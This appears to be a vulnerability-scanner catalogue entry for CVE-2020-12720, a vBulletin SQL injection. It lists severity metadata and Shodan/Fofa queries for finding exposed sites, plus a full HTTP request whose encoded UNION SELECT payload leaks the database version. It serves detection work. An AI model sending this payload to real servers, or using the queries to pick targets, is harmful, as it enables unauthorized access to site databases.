| Title | vBulletin SQL Injection |
|---|---|
| Author | pdteam |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying system. |
| Remediation | Apply the latest security patch or upgrade to a non-vulnerable version of vBulletin. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9382 |
| CVE ID | CVE-2020-12720 |
| CWE ID | CWE-306 |
| Shodan Query | http.title:"powered by vbulletin"http.html:"powered by vbulletin"http.component:"vbulletin"cpe:"cpe:2.3:a:vbulletin:vbulletin" |
| Fofa Query | body="powered by vbulletin"title="powered by vbulletin" |
| Tags | cve2020 cve vbulletin sqli packetstorm vkev vuln |
vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control that permits SQL injection attacks.
POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/4.0
Connection: close
Content-Length: 220
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
nodeId%5Bnodeid%5D=1%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2CCONCAT%28%27vbulletin%27%2C%27rce%27%2C%40%40version%29%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27--+-
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12720.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-12720.pcap
N/AN/A